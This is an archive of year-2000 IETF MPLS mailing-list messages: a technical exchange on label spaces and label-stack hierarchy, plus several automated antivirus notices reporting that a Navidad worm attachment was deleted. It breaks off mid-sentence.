ietf.org (8.9.1a/8.9.1a) with SMTP id QAA10033 for ; Mon, 27 Nov 2000 16:25:44 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjreb26534; Mon, 27 Nov 2000 21:22:57 GMT Received: by mail-control.mail.uu.net id QQjreb23356 for mpls-outgoing; Mon, 27 Nov 2000 21:22:14 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjreb23236 for ; Mon, 27 Nov 2000 21:21:48 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjreb05837 for ; Mon, 27 Nov 2000 21:21:28 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjreb01112 for ; Mon, 27 Nov 2000 21:21:27 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id QAA11497 for mpls@uu.net; Mon, 27 Nov 2000 16:21:25 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjreb22877 for ; Mon, 27 Nov 2000 21:20:22 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjreb15021 for ; Mon, 27 Nov 2000 21:20:11 GMT Received: from procyon.pmc-sierra.bc.ca by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: procyon.pmc-sierra.bc.ca [134.87.115.1]) id QQjreb20992 for ; Mon, 27 Nov 2000 21:20:10 GMT Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by procyon.pmc-sierra.bc.ca (6.6.6/6.6.6) with ESMTP id MAA11713; Mon, 27 Nov 2000 12:26:19 -0800 (PST) Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 12:26:20 -0800 Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A87@BBY1EXM01> From: Shahram Davari To: "'jleu@mindspring.com'" Cc: "'James_Huang@Mitel.COM'" , mpls@UU.NET Subject: RE: Label space of a label advertised through MPLS-BGP Date: Mon, 27 Nov 2000 12:26:19 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hi James, One of the reasons that per-interface label spaces > were introduced is > so that ATM and FR interfaces would only allocated label > values for LSPs that > it was going to use. Thus allowing them to stretch there > limited number of > VCs or DLCIs farther. By doing as you suggest your "wasting" > label values. > ATM and FR don't need per-platform label space, because there is no hierarchy in ATM/FR. > When allocating an N level label (where N is > 1) it should > be allocated from > the same label space as all of the N-1 labels that may > possible tunnel this > label. When N = 1, the value should be allocated from the label space > associated with the set of possible interfaces that will receive this > label. > This assumes that any service allocating N level labels MUST > know the set of > LSPs in which it's label values will have meaning. When N = > 1 the service > MUST know what set of interfaces its label values will have meaning. > All levels of hierarchy use the same label space. There is no notion of a separate label space per hiererchy level. Regards, -Shahram From owner-mpls@UU.NET Mon Nov 27 16:25:49 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA10058 for ; Mon, 27 Nov 2000 16:25:48 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjreb05422; Mon, 27 Nov 2000 21:23:39 GMT Received: by mail-control.mail.uu.net id QQjreb23374 for mpls-outgoing; Mon, 27 Nov 2000 21:22:19 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjreb23222 for ; Mon, 27 Nov 2000 21:21:46 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjreb03249 for ; Mon, 27 Nov 2000 21:18:31 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjreb25386 for ; Mon, 27 Nov 2000 21:18:30 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id QAA10151 for mpls@uu.net; Mon, 27 Nov 2000 16:18:28 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjreb21754 for ; Mon, 27 Nov 2000 21:16:32 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrea21864 for ; Mon, 27 Nov 2000 21:14:19 GMT Received: from tnnt3.tachion.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [198.139.117.130]) id QQjrea08757 for ; Mon, 27 Nov 2000 21:14:19 GMT Received: by TNNT3 with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 16:19:55 -0500 Message-ID: <5E7936641DC2D411B89900D0B7B92FBB14BA95@TNNT3> From: Antigen Administrator To: "'hasko10@hotmail.com'" , "'mpls@UU.NET'" Subject: Antigen found W32/Navidad@M virus Date: Mon, 27 Nov 2000 16:19:46 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C058B7.C960A52C" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C058B7.C960A52C Content-Type: text/plain Antigen for Exchange Virus Detection FILENAME : Navidad.exe VIRUSNAME : W32/Navidad@M ACTION : Deleted MESSAGE : Re: Traffic engineering and RSVP SENT BY : jchen LOCATION : IMC Queues\Inbound SERVER : Tachion Networks/TACHION/TNNT3 ------_=_NextPart_001_01C058B7.C960A52C Content-Type: text/html Antigen found W32/Navidad@M virus

Antigen for Exchange Virus Detection

FILENAME   : Navidad.exe
VIRUSNAME : W32/Navidad@M
ACTION     : Deleted
MESSAGE    : Re: Traffic engineering and RSVP
SENT BY    : jchen
LOCATION   : IMC Queues\Inbound
SERVER     : Tachion Networks/TACHION/TNNT3

------_=_NextPart_001_01C058B7.C960A52C-- From owner-mpls@UU.NET Mon Nov 27 16:27:25 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA10429 for ; Mon, 27 Nov 2000 16:27:23 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjreb20707; Mon, 27 Nov 2000 21:24:22 GMT Received: by mail-control.mail.uu.net id QQjreb23504 for mpls-outgoing; Mon, 27 Nov 2000 21:22:41 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjreb23424 for ; Mon, 27 Nov 2000 21:22:29 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjreb09761 for ; Mon, 27 Nov 2000 21:20:33 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjreb21733 for ; Mon, 27 Nov 2000 21:20:33 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id NAA09050 for ; Mon, 27 Nov 2000 13:20:33 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id QAA08827 for mpls@uu.net; Mon, 27 Nov 2000 16:20:30 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrea20365 for ; Mon, 27 Nov 2000 21:05:45 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrea22654 for ; Mon, 27 Nov 2000 21:05:05 GMT Received: from nero.doit.wisc.edu by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: nero.doit.wisc.edu [128.104.17.130]) id QQjrea02875 for ; Mon, 27 Nov 2000 21:05:04 GMT Received: (from jleu@localhost) by nero.doit.wisc.edu (8.8.7/8.8.7) id PAA18930; Mon, 27 Nov 2000 15:04:11 -0600 Date: Mon, 27 Nov 2000 15:04:10 -0600 From: "James R. Leu" To: Shahram Davari Cc: James_Huang@Mitel.COM, mpls@UU.NET Subject: Re: Label space of a label advertised through MPLS-BGP Message-ID: <20001127150410.A18914@doit.wisc.edu> Reply-To: jleu@mindspring.com References: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A87@BBY1EXM01> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A87@BBY1EXM01>; from Shahram_Davari@pmc-sierra.com on Mon, Nov 27, 2000 at 12:26:19PM -0800 Organization: none Sender: owner-mpls@UU.NET Precedence: bulk Hello Shahram, On Mon, Nov 27, 2000 at 12:26:19PM -0800, Shahram Davari wrote: > Hi James, > > One of the reasons that per-interface label spaces > > were introduced is > > so that ATM and FR interfaces would only allocated label > > values for LSPs that > > it was going to use. Thus allowing them to stretch there > > limited number of > > VCs or DLCIs farther. By doing as you suggest your "wasting" > > label values. > > > > ATM and FR don't need per-platform label space, because there is no hierarchy in ATM/FR. Which draft makes this assertion? I consider hierarchy to include the case where the top label is ATM/FR and the rest of the label stack is composed of generic labels under the require "NULL" label. > > When allocating an N level label (where N is > 1) it should > > be allocated from > > the same label space as all of the N-1 labels that may > > possible tunnel this > > label. When N = 1, the value should be allocated from the label space > > associated with the set of possible interfaces that will receive this > > label. > > This assumes that any service allocating N level labels MUST > > know the set of > > LSPs in which it's label values will have meaning. When N = > > 1 the service > > MUST know what set of interfaces its label values will have meaning. > > > > All levels of hierarchy use the same label space. There is no notion of a separate label space per hierarchy level. Exactly. All of the values in the label stack must be in the same ILM. The values in the ILM are pulled from the same label space. The problem arises when considering multiple interfaces and how to populate those ILMs with all of the values needed to terminate possible multiple levels of "tunnel" LSPs _and_ the service related labels. Jim -- James R. Leu From owner-mpls@UU.NET Mon Nov 27 16:27:29 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA10465 for ; Mon, 27 Nov 2000 16:27:28 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjreb07962; Mon, 27 Nov 2000 21:24:55 GMT Received: by mail-control.mail.uu.net id QQjreb23754 for mpls-outgoing; Mon, 27 Nov 2000 21:23:53 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjreb23592 for ; Mon, 27 Nov 2000 21:23:15 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjreb21467 for ; Mon, 27 Nov 2000 21:22:53 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjreb26368 for ; Mon, 27 Nov 2000 21:22:53 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id QAA12257 for mpls@uu.net; Mon, 27 Nov 2000 16:22:52 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjreb23199 for ; Mon, 27 Nov 2000 21:21:44 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjreb06309 for ; Mon, 27 Nov 2000 21:19:30 GMT Received: from tnnt3.tachion.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [198.139.117.130]) id QQjreb19282 for ; Mon, 27 Nov 2000 21:19:29 GMT Received: by TNNT3 with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 16:25:06 -0500 Message-ID: <5E7936641DC2D411B89900D0B7B92FBB14BAAD@TNNT3> From: Antigen Administrator To: "'rmanur@force10networks.com'" , "'hasko10@hotmail.com'" , "'mpls@UU.NET'" Subject: Antigen found W32/Navidad@M virus Date: Mon, 27 Nov 2000 16:24:56 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C058B8.82D28D7C" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C058B8.82D28D7C Content-Type: text/plain Antigen for Exchange Virus Detection FILENAME : Navidad.exe VIRUSNAME : W32/Navidad@M ACTION : Deleted MESSAGE : Re: Traffic engineering and RSVP SENT BY : jchen LOCATION : IMC Queues\Inbound SERVER : Tachion Networks/TACHION/TNNT3 ------_=_NextPart_001_01C058B8.82D28D7C Content-Type: text/html Antigen found W32/Navidad@M virus

Antigen for Exchange Virus Detection

FILENAME   : Navidad.exe
VIRUSNAME : W32/Navidad@M
ACTION     : Deleted
MESSAGE    : Re: Traffic engineering and RSVP
SENT BY    : jchen
LOCATION   : IMC Queues\Inbound
SERVER     : Tachion Networks/TACHION/TNNT3

------_=_NextPart_001_01C058B8.82D28D7C-- From owner-mpls@UU.NET Mon Nov 27 16:28:01 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA10585 for ; Mon, 27 Nov 2000 16:28:00 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjreb00710; Mon, 27 Nov 2000 21:25:18 GMT Received: by mail-control.mail.uu.net id QQjreb23874 for mpls-outgoing; Mon, 27 Nov 2000 21:24:28 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjreb23692 for ; Mon, 27 Nov 2000 21:23:45 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjreb19938 for ; Mon, 27 Nov 2000 21:23:36 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjreb19181 for ; Mon, 27 Nov 2000 21:23:35 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id QAA12681 for mpls@uu.net; Mon, 27 Nov 2000 16:23:34 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjreb22319 for ; Mon, 27 Nov 2000 21:18:34 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjreb09029 for ; Mon, 27 Nov 2000 21:17:30 GMT Received: from tnnt3.tachion.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [198.139.117.130]) id QQjreb15220 for ; Mon, 27 Nov 2000 21:17:30 GMT Received: by TNNT3 with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 16:22:25 -0500 Message-ID: <5E7936641DC2D411B89900D0B7B92FBB14BAA4@TNNT3> From: Antigen Administrator To: "'manal.afify@usa.alcatel.com'" , "'mpls@UU.NET'" Subject: Antigen found W32/Navidad@M virus Date: Mon, 27 Nov 2000 16:22:16 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C058B8.2338E2B2" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C058B8.2338E2B2 Content-Type: text/plain Antigen for Exchange Virus Detection FILENAME : Navidad.exe VIRUSNAME : W32/Navidad@M ACTION : Deleted MESSAGE : Re: update request? SENT BY : jchen LOCATION : IMC Queues\Inbound SERVER : Tachion Networks/TACHION/TNNT3 ------_=_NextPart_001_01C058B8.2338E2B2 Content-Type: text/html Antigen found W32/Navidad@M virus

Antigen for Exchange Virus Detection

FILENAME   : Navidad.exe
VIRUSNAME : W32/Navidad@M
ACTION     : Deleted
MESSAGE    : Re: update request?
SENT BY    : jchen
LOCATION   : IMC Queues\Inbound
SERVER     : Tachion Networks/TACHION/TNNT3

------_=_NextPart_001_01C058B8.2338E2B2-- From owner-mpls@UU.NET Mon Nov 27 16:28:27 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA10697 for ; Mon, 27 Nov 2000 16:28:26 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjreb23240; Mon, 27 Nov 2000 21:25:52 GMT Received: by mail-control.mail.uu.net id QQjreb23878 for mpls-outgoing; Mon, 27 Nov 2000 21:24:32 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjreb23697 for ; Mon, 27 Nov 2000 21:23:45 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjreb19854 for ; Mon, 27 Nov 2000 21:23:34 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjreb27772 for ; Mon, 27 Nov 2000 21:23:34 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id QAA12643 for mpls@uu.net; Mon, 27 Nov 2000 16:23:32 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjreb22490 for ; Mon, 27 Nov 2000 21:18:47 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjreb07642 for ; Mon, 27 Nov 2000 21:16:50 GMT Received: from tnnt3.tachion.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [198.139.117.130]) id QQjreb13847 for ; Mon, 27 Nov 2000 21:16:50 GMT Received: by TNNT3 with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 16:21:45 -0500 Message-ID: <5E7936641DC2D411B89900D0B7B92FBB14BAA1@TNNT3> From: Antigen Administrator To: "'hasko10@hotmail.com'" , "'mpls@UU.NET'" Subject: Antigen found W32/Navidad@M virus Date: Mon, 27 Nov 2000 16:21:37 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C058B8.0B50AE3C" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C058B8.0B50AE3C Content-Type: text/plain Antigen for Exchange Virus Detection FILENAME : Navidad.exe VIRUSNAME : W32/Navidad@M ACTION : Deleted MESSAGE : Re: Traffic engineering and RSVP SENT BY : jchen LOCATION : IMC Queues\Inbound SERVER : Tachion Networks/TACHION/TNNT3 ------_=_NextPart_001_01C058B8.0B50AE3C Content-Type: text/html Antigen found W32/Navidad@M virus

Antigen for Exchange Virus Detection

FILENAME   : Navidad.exe
VIRUSNAME : W32/Navidad@M
ACTION     : Deleted
MESSAGE    : Re: Traffic engineering and RSVP
SENT BY    : jchen
LOCATION   : IMC Queues\Inbound
SERVER     : Tachion Networks/TACHION/TNNT3

------_=_NextPart_001_01C058B8.0B50AE3C-- From owner-mpls@UU.NET Mon Nov 27 16:31:20 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA11346 for ; Mon, 27 Nov 2000 16:31:19 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjreb28185; Mon, 27 Nov 2000 21:28:50 GMT Received: by mail-control.mail.uu.net id QQjreb24430 for mpls-outgoing; Mon, 27 Nov 2000 21:28:14 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjreb24415 for ; Mon, 27 Nov 2000 21:28:12 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjreb04089 for ; Mon, 27 Nov 2000 21:28:05 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjreb26963 for ; Mon, 27 Nov 2000 21:28:04 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id QAA14484 for mpls@uu.net; Mon, 27 Nov 2000 16:28:03 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjreb24307 for ; Mon, 27 Nov 2000 21:27:25 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjreb00404 for ; Mon, 27 Nov 2000 21:26:57 GMT Received: from xover.hjinc.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [38.160.241.130]) id QQjreb03804 for ; Mon, 27 Nov 2000 21:26:56 GMT Received: by xover.hjinc.com with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 16:24:35 -0500 Message-ID: <87009604743AD411B1F600508BA0F9591B89B9@xover.hjinc.com> From: "Pawlowski, Nick" To: "'Antigen Administrator'" , "'hasko10@hotmail.com'" , "'mpls@UU.NET'" Subject: RE: Antigen found W32/Navidad@M virus Date: Mon, 27 Nov 2000 16:24:28 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C058B8.6C59DFF0" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C058B8.6C59DFF0 Content-Type: text/plain Whomever Jchen is, please stop sending email! -----Original Message----- From: Antigen Administrator [mailto:ANTIGEN_TNNT3@tachion.com] Sent: Monday, November 27, 2000 4:22 PM To: 'hasko10@hotmail.com'; 'mpls@UU.NET' Subject: Antigen found W32/Navidad@M virus Antigen for Exchange Virus Detection FILENAME : Navidad.exe VIRUSNAME : W32/Navidad@M ACTION : Deleted MESSAGE : Re: Traffic engineering and RSVP SENT BY : jchen LOCATION : IMC Queues\Inbound SERVER : Tachion Networks/TACHION/TNNT3 ------_=_NextPart_001_01C058B8.6C59DFF0 Content-Type: text/html Antigen found W32/Navidad@M virus
Whomever Jchen is, please stop sending email!
-----Original Message-----
From: Antigen Administrator [mailto:ANTIGEN_TNNT3@tachion.com]
Sent: Monday, November 27, 2000 4:22 PM
To: 'hasko10@hotmail.com'; 'mpls@UU.NET'
Subject: Antigen found W32/Navidad@M virus

Antigen for Exchange Virus Detection

FILENAME   : Navidad.exe
VIRUSNAME : W32/Navidad@M
ACTION     : Deleted
MESSAGE    : Re: Traffic engineering and RSVP
SENT BY    : jchen
LOCATION   : IMC Queues\Inbound
SERVER     : Tachion Networks/TACHION/TNNT3

------_=_NextPart_001_01C058B8.6C59DFF0-- From owner-mpls@UU.NET Mon Nov 27 16:50:28 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA16368 for ; Mon, 27 Nov 2000 16:50:27 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjred08071; Mon, 27 Nov 2000 21:48:07 GMT Received: by mail-control.mail.uu.net id QQjred26256 for mpls-outgoing; Mon, 27 Nov 2000 21:47:48 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjred26246 for ; Mon, 27 Nov 2000 21:47:37 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjred16990 for ; Mon, 27 Nov 2000 21:46:29 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjred05374 for ; Mon, 27 Nov 2000 21:46:29 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id NAA29926 for ; Mon, 27 Nov 2000 13:46:29 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id QAA09096 for mpls@uu.net; Mon, 27 Nov 2000 16:46:27 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrec25839 for ; Mon, 27 Nov 2000 21:44:49 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrec01138 for ; Mon, 27 Nov 2000 21:44:42 GMT Received: from nero.doit.wisc.edu by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: nero.doit.wisc.edu [128.104.17.130]) id QQjrec21970 for ; Mon, 27 Nov 2000 21:44:42 GMT Received: (from jleu@localhost) by nero.doit.wisc.edu (8.8.7/8.8.7) id PAA18966; Mon, 27 Nov 2000 15:43:59 -0600 Date: Mon, 27 Nov 2000 15:43:58 -0600 From: "James R. Leu" To: Shahram Davari Cc: James_Huang@Mitel.COM, mpls@UU.NET Subject: Re: Label space of a label advertised through MPLS-BGP Message-ID: <20001127154358.B18914@doit.wisc.edu> Reply-To: jleu@mindspring.com References: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A8A@BBY1EXM01> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A8A@BBY1EXM01>; from Shahram_Davari@pmc-sierra.com on Mon, Nov 27, 2000 at 01:16:42PM -0800 Organization: none Sender: owner-mpls@UU.NET Precedence: bulk Hello Shahram, On Mon, Nov 27, 2000 at 01:16:42PM -0800, Shahram Davari wrote: > Hi James, > > > Which draft makes this assertion? I consider hierarchy to > > include the case > > where the top label is ATM/FR and the rest of the label stack > > is composed of > > generic labels under the require "NULL" label. > > The main reason of having per-platform label space is that when an egress > node of a hierarchical tunnel distributes an inner label to its remote > peer, it does not know from which interface that LSP will arrive (this > might be due to the use of TE that changes the outer LSP). In other words > the label below the top label needs to be from the per-platform label space > not the top level label that is VPI/VCI. We just stated earlier that all of the values in the label stack must be from the same label space. (I believe that this is also stated in the architecture draft) If we ignore this, then anytime we allocate an inner label from the platform label space we need to search for a value which does not conflict with the label spaces of the interfaces that this label could 